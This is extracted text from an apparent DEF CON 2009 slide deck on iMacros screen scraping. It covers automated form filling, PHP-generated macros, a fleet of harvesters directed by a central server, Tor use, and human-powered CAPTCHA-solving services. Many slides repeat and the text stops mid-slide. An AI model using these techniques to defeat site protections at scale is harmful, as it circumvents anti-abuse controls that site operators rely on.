protected] Switch to demo This is a REALLY SIMPLE demo! You need to trust me that it will also work in a much more complex environment (i.e. a “difficult case”)! DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] The Macro File (file_name.iim) #01 VERSION BUILD=6230608 RECORDER=FX #02 TAB T=1 #03 URL GOTO=http://www.google.com/ #04 URL GOTO=http://localhost/defcon17/simple_form.php #05 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:name CONTENT=Michael<SP>Schrenk #06 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:address CONTENT=1725<SP>West<SP>Lilac<SP>Drive #07 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:city CONTENT=Minneapolis #08 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:state CONTENT=MN #09 TAG POS=2 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=ZIP:state CONTENT=55423 #10 TAG POS=1 TYPE=INPUT:SUBMIT FORM=NAME:simple_form ATTR=NAME:save&&VALUE:Save DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] The Macro File (file_name.iim) #01 VERSION BUILD=6230608 RECORDER=FX #02 TAB T=1 #03 URL GOTO=http://www.google.com/ #04 URL GOTO=http://localhost/defcon17/simple_form.php #05 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:name CONTENT=Michael<SP>Schrenk #06 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:address CONTENT=1725<SP>West<SP>Lilac<SP>Drive #07 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:city CONTENT=Minneapolis #08 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:state CONTENT=MN #09 TAG POS=2 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=ZIP:state CONTENT=55423 #10 TAG POS=1 TYPE=INPUT:SUBMIT FORM=NAME:simple_form ATTR=NAME:save&&VALUE:Save Where Tags can't be identified (FLASH) X/Y coordinates can be used DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Dynamic Macro Creation Create a macro Template (text file) Run PHP program to convert template into a macro Run the macro DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Creating the Template File #01 VERSION BUILD=6230608 RECORDER=FX #02 TAB T=1 #03 URL GOTO=http://www.google.com/ #04 URL GOTO=http://localhost/defcon17/simple_form.php #05 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:name CONTENT=#_NAME_# #06 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:address CONTENT=#_ADDRESS_# #07 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:city CONTENT=#_CITY_# #08 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:state CONTENT=#_STATE_# #09 TAG POS=2 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:zip CONTENT=#_ZIP_# #10 TAG POS=1 TYPE=INPUT:SUBMIT FORM=NAME:simple_form ATTR=NAME:save&&VALUE:Save DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Substituting Variables #01 // Get variables (from somewhere, more on this later) $name = (some data) $address = (some data) $city = (some data) $state = (some data) $zip = (some data) #02 $macro = file_get_contents(“macro.proto”); #03 $macro = str_replace(“#_NAME_#”, $name, $macro); #04 $macro = str_replace(“#_ADDRESS_#”, $address, $macro); #05 $macro = str_replace(“#_CITY_#”, $city, $macro); #06 $macro = str_replace(“#_STATE_#”, $state, $macro); #07 $macro = str_replace(“#_ZIP_#”, $zip, $macro); #08 $macro = file_put_contents(“macro.imm”, $macro); DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Substituting Variables #01 // Get variables (from somewhere, more on this later) $name = (some data) $address = (some data) $city = (some data) $state = (some data) $zip = (some data) #02 $macro = file_get_contents(“macro.proto”); #03 $macro = str_replace(“#_NAME_#”, $name, $macro); #04 $macro = str_replace(“#_ADDRESS_#”, $address, $macro); #05 $macro = str_replace(“#_CITY_#”, $city, $macro); #06 $macro = str_replace(“#_STATE_#”, $state, $macro); #07 $macro = str_replace(“#_ZIP_#”, $zip, $macro); #08 $macro = file_put_contents(“macro.imm”, $macro); DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Substituting Variables #01 // Get variables (from somewhere, more on this later) $name = (some data) $address = (some data) $city = (some data) $state = (some data) $zip = (some data) #02 $macro = file_get_contents(“macro.proto”); #03 $macro = str_replace(“#_NAME_#”, $name, $macro); #04 $macro = str_replace(“#_ADDRESS_#”, $address, $macro); #05 $macro = str_replace(“#_CITY_#”, $city, $macro); #06 $macro = str_replace(“#_STATE_#”, $state, $macro); #07 $macro = str_replace(“#_ZIP_#”, $zip, $macro); #08 $macro = file_put_contents(“macro.imm”, $macro); DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Write the Dynamic Macro file #01 // Get variables (from somewhere, more on this later) $name = (some data) $address = (some data) $city = (some data) $state = (some data) $zip = (some data) #02 $macro = file_get_contents(“macro.proto”); #03 $macro = str_replace(“#_NAME_#”, $name, $macro); #04 $macro = str_replace(“#_ADDRESS_#”, $address, $macro); #05 $macro = str_replace(“#_CITY_#”, $city, $macro); #06 $macro = str_replace(“#_STATE_#”, $state, $macro); #07 $macro = str_replace(“#_ZIP_#”, $zip, $macro); #08 $macro = file_put_contents(“macro.imm”, $macro); DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Write the Dynamic Macro file #01 // Get variables (from somewhere, more on this later) $name = (some data) $address = (some data) $city = (some data) $state = (some data) $zip = (some data) #02 $macro = file_get_contents(“macro.proto”); #03 $macro = str_replace(“#_NAME_#”, $name, $macro); #04 $macro = str_replace(“#_ADDRESS_#”, $address, $macro); #05 $macro = str_replace(“#_CITY_#”, $city, $macro); #06 $macro = str_replace(“#_STATE_#”, $state, $macro); #07 $macro = str_replace(“#_ZIP_#”, $zip, $macro); #08 $macro = file_put_contents(“macro.proto”, $macro); Use this substitution technique to dynamically: 1. Program form field values 2. Change the website URL 3. Change delay times 4. Change destination files 5. Change status message values 6. Etc., etc., etc. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Write the Dynamic Macro file #01 // Get variables (from somewhere, more on this later) $name = (some data) $address = (some data) $city = (some data) $state = (some data) $zip = (some data) #02 $macro = file_get_contents(“macro.proto”); #03 $macro = str_replace(“#_NAME_#”, $name, $macro); #04 $macro = str_replace(“#_ADDRESS_#”, $address, $macro); #05 $macro = str_replace(“#_CITY_#”, $city, $macro); #06 $macro = str_replace(“#_STATE_#”, $state, $macro); #07 $macro = str_replace(“#_ZIP_#”, $zip, $macro); #08 $macro = file_put_contents(“macro.proto”, $macro); Use the programmability to: 1. Create loops 2. Change data sources 3. Send status messages to central server 4. Etc., etc., etc. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Launching iMacros (macro) from PHP #01 <?php #02 if($os=="linux") #03 { #04 system("firefox http://www.google.com" ); #05 sleep(5); #06 system("firefox http://run.imacros.net/? m=macro_name.iim"); #07 } #08 else #09 { #10 system("start /B firefox http://run.imacros.net/? m=macro_name.iim"); #11 } #12 ?> DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Launching iMacros (macro) in a cron I've had better luck launching iMacros (as a scheduled task) as a batch file (Windows) or a BASH file (Linux) If scheduled on a Linux system, remember to specify a video output. Display =:0 php /pathname/php_program.php DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Launching iMacros (macro) in a cron I've had better luck launching iMacros (as a scheduled task) as a batch file (Windows) or a BASH file (Linux) If scheduled on a Linux system, remember to specify a video output. Display =:0 php /pathname/php_program.php DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] iMacros Hints ● Always dedicate a browser for iMacros use. ● If you don't use the commercial version of iMacros, use Firefox. ● Make sure that iMacros is activated in the browser before launching a macro DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] iMacros Hints ● Always dedicate a browser for iMacros use. ● If you don't use the commercial version of iMacros, use Firefox. ● Make sure that iMacros is activated in the browser before launching a macro DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] iMacros Hints ● Always dedicate a browser for iMacros use. ● If you don't use the commercial version of iMacros, use Firefox. ● Make sure that iMacros is activated in the browser before launching a macro DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Preferred iMaco Header commands #01 '################################################## #02 ' Set maximum web page time out #03 SET !TIMEOUT 240 #04 ' Tell iMacros to ignore error messages #05 SET !ERRORIGNORE YES #06 ' Clear ALL cookies #07 CLEAR #08 ' Initialize Browser tab 1, close all other tabs #09 TAB T=1 #10 TAB CLOSEALLOTHERS #11 ' Tell iMacros to ignore images (nice if using Tor) #12 FILTER TYPE=IMAGES STATUS=ON #13 ' Tell iMacros to ignore extract messages #14 SET !EXTRACT_TEST_POPUP NO #15 '################################################## DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Preferred iMaco Header commands #01 '################################################## #02 ' Set maximum web page time out #03 SET !TIMEOUT 240 #04 ' Tell iMacros to ignore error messages #05 SET !ERRORIGNORE YES #06 ' Clear ALL cookies #07 CLEAR #08 ' Initialize Browser tab 1, close all other tabs #09 TAB T=1 #10 TAB CLOSEALLOTHERS #11 ' Tell iMacros to ignore images (nice if using Tor) #12 FILTER TYPE=IMAGES STATUS=ON #13 ' Tell iMacros to ignore extract messages #14 SET !EXTRACT_TEST_POPUP NO #15 '################################################## DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Preferred iMaco Header commands #01 '################################################## #02 ' Set maximum web page time out #03 SET !TIMEOUT 240 #04 ' Tell iMacros to ignore error messages #05 SET !ERRORIGNORE YES #06 ' Clear ALL cookies #07 CLEAR #08 ' Initialize Browser tab 1, close all other tabs #09 TAB T=1 #10 TAB CLOSEALLOTHERS #11 ' Tell iMacros to ignore images (nice if using Tor) #12 FILTER TYPE=IMAGES STATUS=ON #13 ' Tell iMacros to ignore extract messages #14 SET !EXTRACT_TEST_POPUP NO #15 '################################################## DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Preferred iMaco Header commands #01 '################################################## #02 ' Set maximum web page time out #03 SET !TIMEOUT 240 #04 ' Tell iMacros to ignore error messages #05 SET !ERRORIGNORE YES #06 ' Clear ALL cookies #07 CLEAR #08 ' Initialize Browser tab 1, close all other tabs #09 TAB T=1 #10 TAB CLOSEALLOTHERS #11 ' Tell iMacros to ignore images (nice if using Tor) #12 FILTER TYPE=IMAGES STATUS=ON #13 ' Tell iMacros to ignore extract messages #14 SET !EXTRACT_TEST_POPUP NO #15 '################################################## DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Preferred iMaco Header commands #01 '################################################## #02 ' Set maximum web page time out #03 SET !TIMEOUT 240 #04 ' Tell iMacros to ignore error messages #05 SET !ERRORIGNORE YES #06 ' Clear ALL cookies #07 CLEAR #08 ' Initialize Browser tab 1, close all other tabs #09 TAB T=1 #10 TAB CLOSEALLOTHERS #11 ' Tell iMacros to ignore images (nice if using Tor) #12 FILTER TYPE=IMAGES STATUS=ON #13 ' Tell iMacros to ignore extract messages #14 SET !EXTRACT_TEST_POPUP NO #15 '################################################## DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Preferred iMaco Header commands #01 '################################################## #02 ' Set maximum web page time out #03 SET !TIMEOUT 240 #04 ' Tell iMacros to ignore error messages #05 SET !ERRORIGNORE YES #06 ' Clear ALL cookies #07 CLEAR #08 ' Initialize Browser tab 1, close all other tabs #09 TAB T=1 #10 TAB CLOSEALLOTHERS #11 ' Tell iMacros to ignore images (nice if using Tor) #12 FILTER TYPE=IMAGES STATUS=ON #13 ' Tell iMacros to ignore extract messages #14 SET !EXTRACT_TEST_POPUP NO #15 '################################################## DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Preferred iMaco Header commands #01 '################################################## #02 ' Set maximum web page time out #03 SET !TIMEOUT 240 #04 ' Tell iMacros to ignore error messages #05 SET !ERRORIGNORE YES #06 ' Clear ALL cookies #07 CLEAR #08 ' Initialize Browser tab 1, close all other tabs #09 TAB T=1 #10 TAB CLOSEALLOTHERS #11 ' Tell iMacros to ignore images (nice if using Tor) #12 FILTER TYPE=IMAGES STATUS=ON #13 ' Tell iMacros to ignore extract messages #14 SET !EXTRACT_TEST_POPUP NO #15 '################################################## A complete iMacros command reference Is available at: wiki.imacros.net/Command_Reference DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Let's look at where the data can come from Firefox/iMacros equipped Harvester (XP, Ubuntu) Central Server Target Website(s) DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Let's look at where the data can come from Firefox/iMacros equipped Harvester (XP, Ubuntu) Central Server Periodically asks for instructions Target Website(s) DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Let's look at where the data can come from Firefox/iMacros equipped Harvester (XP, Ubuntu) Central Server Periodically asks for instructions Tells Harvester what to do Target Website(s) DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Let's look at where the data can come from Firefox/iMacros equipped Harvester (XP, Ubuntu) 1. Request data 2. Save Screens 3. Parse results Central Server Periodically asks for instructions Tells Harvester what to do Target Website(s) iMacros Macro DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Let's look at where the data can come from Firefox/iMacros equipped Harvester (XP, Ubuntu) 1. Request data 2. Save Screens 3. Parse results Central Server Target Website(s) iMacros Macro Update central server Periodically asks for instructions Tells Harvester what to do DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Large scale deployment (challenges traditional thoughts regarding hosting) Harvester Central Server Target Website(s) Harvester Harvester Harvester Harvester Harvester Harvester Harvester Harvester Harvester Harvester Harvester Harvester Harvester Harvester Harvester Harvester Instructions or software updates Data and/or scraping status Website requests Raw websites DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Advanced iMacros Hacks First example was a very straight forward iMacros example iMacros also some JavaScript-like scripting compatibility (in the paid version) iMacros has limited parsing and data extraction capability While solving many problems--without further hacking, iMacros leaves you with many (or most) browser limitations. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Advanced iMacros Hacks First example was a very straight forward iMacros example iMacros also some JavaScript-like scripting compatibility (in the paid version) iMacros has limited parsing and data extraction capability While solving many problems--without further hacking, iMacros leaves you with many (or most) browser limitations. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Advanced iMacros Hacks First example was a very straight forward iMacros example iMacros also some JavaScript-like scripting compatibility (in the paid version) iMacros has limited parsing and data extraction capability While solving many problems--without further hacking, iMacros leaves you with many (or most) browser limitations. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Advanced iMacros Hacks First example was a very straight forward iMacros example iMacros also some JavaScript-like scripting compatibility (in the paid version) iMacros has limited parsing and data extraction capability While solving many problems--without further hacking, iMacros leaves you with many (or most) browser limitations. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Advanced iMacros Hacks Suppose you could execute an iMacros macro in one browser tab... DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Advanced iMacros Hacks And then open another browser tab to act on the data iMacros downloaded and ● Parse data ● Read/Write to a database ● Pass data back to the iMacros macro ● Or, anything else DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Advanced iMacros Hacks Let's finish our first example. When we get to this point: ● Create a 2nd tab ● Launch a local php program in Apache ● Parse the web page ● Return the access code ● Complete the form submission in the original tab DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Advanced iMacros Hacks Let's finish our first example. When we get to this point: ● Create a 2nd tab ● Launch a local php program in Apache ● Parse the web page ● Return the access code ● Complete the form submission in the original tab DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Advanced iMacros Hacks Let's finish our first example. When we get to this point: ● Create a 2nd tab ● Launch a local php program in Apache ● Parse the web page ● Return the access code ● Complete the form submission in the original tab DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Advanced iMacros Hacks Let's finish our first example. When we get to this point: ● Create a 2nd tab ● Launch a local php program in Apache ● Parse the web page ● Return the access code ● Complete the form submission in the original tab DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Advanced iMacros Hacks Let's finish our first example. When we get to this point:: ● Create a 2nd tab ● Launch a local php program in Apache ● Parse the web page ● Return the access code ● Complete the form submission in the original tab DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Switch to demo #2 You need to trust me that it will also work in a more complex environment (i.e. a “difficult case”)! DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] This code was added to the original iMacros macro #01 '# SAVE A COPY OF THE WEBPAGE TO FILE SYSTEM #02 SAVEAS TYPE=HTM FOLDER=* FILE=PARSE_FILE.html #03 '# OPEN A NEW TAB FOR THE PARSING SOFTWARE #04 TAB OPEN #05 TAB T=2 #06 URL GOTO=http://localhost/defcon17/simple_parse.php #07 ' #08 '# READ THE PARSED RESULTS #09 TAB T=1 #10 CMDLINE !DATASOURCE data.csv #11 SET !DATASOURCE_COLUMNS 1 #12 SET !DATASOURCE_LINE {{!LOOP}} #13 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:access_code CONTENT={{!COL1}} #14 WAIT SECONDS=5 #15 TAG POS=1 TYPE=INPUT:SUBMIT FORM=NAME:simple_form ATTR=NAME:save&&VALUE:Save Saves a copy of the screen data to a file in the /iMacros/Downloads directory. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] This code was added to the original iMacros macro #01 '# SAVE A COPY OF THE WEBPAGE TO FILE SYSTEM #02 SAVEAS TYPE=HTM FOLDER=* FILE=PARSE_FILE.html #03 '# OPEN A NEW TAB FOR THE PARSING SOFTWARE #04 TAB OPEN #05 TAB T=2 #06 URL GOTO=http://localhost/defcon17/simple_parse.php #07 ' #08 '# READ THE PARSED RESULTS #09 TAB T=1 #10 CMDLINE !DATASOURCE data.csv #11 SET !DATASOURCE_COLUMNS 1 #12 SET !DATASOURCE_LINE {{!LOOP}} #13 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:access_code CONTENT={{!COL1}} #14 WAIT SECONDS=5 #15 TAG POS=1 TYPE=INPUT:SUBMIT FORM=NAME:simple_form ATTR=NAME:save&&VALUE:Save ● Opens the second tab ● Loads and runs the file “simple_parse.php” on a local installation of Apache This program ● Reads the previously stored file ● Parses the access code ● Stores it in a iMacros (CSV) data file DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] This code was added to the original iMacros macro #01 '# SAVE A COPY OF THE WEBPAGE TO FILE SYSTEM #02 SAVEAS TYPE=HTM FOLDER=* FILE=PARSE_FILE.html #03 '# OPEN A NEW TAB FOR THE PARSING SOFTWARE #04 TAB OPEN #05 TAB T=2 #06 URL GOTO=http://localhost/defcon17/simple_parse.php #07 ' #08 '# READ THE PARSED RESULTS #09 TAB T=1 #10 CMDLINE !DATASOURCE data.csv #11 SET !DATASOURCE_COLUMNS 1 #12 SET !DATASOURCE_LINE {{!LOOP}} #13 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:access_code CONTENT={{!COL1}} #14 WAIT SECONDS=5 #15 TAG POS=1 TYPE=INPUT:SUBMIT FORM=NAME:simple_form ATTR=NAME:save&&VALUE:Save ● Return to first tab ● Read (CSV) data file ● Insert data into form This is a simplified example, can also employ loops (CSV rows) and many more data fields (CSV columns) DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] This code was added to the original iMacros macro #01 '# SAVE A COPY OF THE WEBPAGE TO FILE SYSTEM #02 SAVEAS TYPE=HTM FOLDER=* FILE=PARSE_FILE.html #03 '# OPEN A NEW TAB FOR THE PARSING SOFTWARE #04 TAB OPEN #05 TAB T=2 #06 URL GOTO=http://localhost/defcon17/simple_parse.php #07 ' #08 '# READ THE PARSED RESULTS #09 TAB T=1 #10 CMDLINE !DATASOURCE data.csv #11 SET !DATASOURCE_COLUMNS 1 #12 SET !DATASOURCE_LINE {{!LOOP}} #13 TAG POS=1 TYPE=INPUT:TEXT FORM=NAME:simple_form ATTR=NAME:access_code CONTENT={{!COL1}} #14 WAIT SECONDS=5 #15 TAG POS=1 TYPE=INPUT:SUBMIT FORM=NAME:simple_form ATTR=NAME:save&&VALUE:Save Submit form DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Using additional tabs to run local programs facilitates advanced features not possible in traditional iMacros configurations Interrupted macros Parse data from pages and act on results Interface with local peripherals Change proxy settings Aggregate data from multiple websites Aggregate services from multiple websites Upload data in mid-macro Etc., etc., etc. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Using additional tabs to run local programs facilitates advanced features not possible in traditional iMacros configurations Interrupted macros Parse data from pages and act on results Interface with local peripherals Change proxy settings Aggregate data from multiple websites Aggregate services from multiple websites Upload data in mid-macro Etc., etc., etc. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Using additional tabs to run local programs facilitates advanced features not possible in traditional iMacros configurations Interrupted macros Parse data from pages and act on results Interface with local peripherals Change proxy settings Aggregate data from multiple websites Aggregate services from multiple websites Upload data in mid-macro Etc., etc., etc. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Using additional tabs to run local programs facilitates advanced features not possible in traditional iMacros configurations Interrupted macros Parse data from pages and act on results Interface with local peripherals Change proxy settings Aggregate data from multiple websites Aggregate services from multiple websites Upload data in mid-macro Etc., etc., etc. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Using additional tabs to run local programs facilitates advanced features not possible in traditional iMacros configurations Interrupted macros Parse data from pages and act on results Interface with local peripherals Change proxy settings Aggregate data from multiple websites Aggregate services from multiple websites Upload data in mid-macro Etc., etc., etc. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Using additional tabs to run local programs facilitates advanced features not possible in traditional iMacros configurations Interrupted macros Parse data from pages and act on results Interface with local peripherals Change proxy settings Aggregate data from multiple websites Aggregate services from multiple websites Upload data in mid-macro Etc., etc., etc. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Using additional tabs to run local programs facilitates advanced features not possible in traditional iMacros configurations Interrupted macros Parse data from pages and act on results Interface with local peripherals Change proxy settings Aggregate data from multiple websites Aggregate services from multiple websites Upload data in mid-macro Etc., etc., etc. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Using additional tabs to run local programs facilitates advanced features not possible in traditional iMacros configurations Interrupted macros Parse data from pages and act on results Interface with local peripherals Change proxy settings Aggregate data from multiple websites Aggregate services from multiple websites Upload data in mid-macro Etc., etc., etc. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Using additional tabs to run local programs facilitates advanced features not possible in traditional iMacros configurations Interrupted macros Parse data from pages and act on results Interface with local peripherals Change proxy settings Aggregate data from multiple websites Aggregate services from multiple websites Upload data in mid-macro Etc., etc., etc. DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Heartwarming moment DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] ReCAPTCHA 250 million CAPTCHAS executed daily Free CAPTCHA service 30 million of these CAPTCHAS are solved daily CAPTCHA words are scanned from old manuscripts Solved CAPTCHAS actually digitize manuscripts DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] ReCAPTCHA 250 million CAPTCHAS executed daily Free CAPTCHA service 30 million of these CAPTCHAS are solved daily CAPTCHA words are scanned from old manuscripts Solved CAPTCHAS actually digitize manuscripts DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] ReCAPTCHA 250 million CAPTCHAS executed daily Free CAPTCHA service 30 million of these CAPTCHAS are solved daily CAPTCHA words are scanned from old manuscripts Solved CAPTCHAS actually digitize manuscripts DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] ReCAPTCHA 250 million CAPTCHAS executed daily Free CAPTCHA service 30 million of these CAPTCHAS are solved daily CAPTCHA words are scanned from old manuscripts Solved CAPTCHAS actually digitize manuscripts DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] ReCAPTCHA 250 million CAPTCHAS executed daily Free CAPTCHA service 30 million of these CAPTCHAS are solved daily CAPTCHA words are scanned from old manuscripts Solved CAPTCHAS actually digitize manuscripts DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] ReCAPTCHA 250 million CAPTCHAS executed daily Free CAPTCHA service 30 million of these CAPTCHAS are solved daily CAPTCHA words are scanned from old manuscripts Solved CAPTCHAS actually digitize manuscripts DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] ReCAPTCHA Digitizing Success DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] CAPTCHA Solving Services (APIs) There are services (APIs) that solve CAPTCHAs DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] CAPTCHA Solving Services (APIs) There are services (APIs) that solve CAPTCHAs Unlike OCR these are solved by REAL people DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] CAPTCHA Solving Services (APIs) There are services (APIs) that solve CAPTCHAs Do a quick Google search for details Unlike OCR these are solved by REAL people DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Heartwarming moment There are CAPTCHA solving services CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA DISPLAYED ON WEB PAGE DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Heartwarming moment There are CAPTCHA solving services CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA IMAGE SENT TO SERVICE DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Heartwarming moment There are CAPTCHA solving services CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA IMAGE SENT TO SERVICE CAPTCHA SOLVED BY HUMAN DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Heartwarming moment There are CAPTCHA solving services CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA IMAGE SENT TO SERVICE CAPTCHA SOLVED BY HUMAN EMBEDDED TEXT SENT BACK TO REQUESTOR DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Heartwarming moment There are CAPTCHA solving services CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA 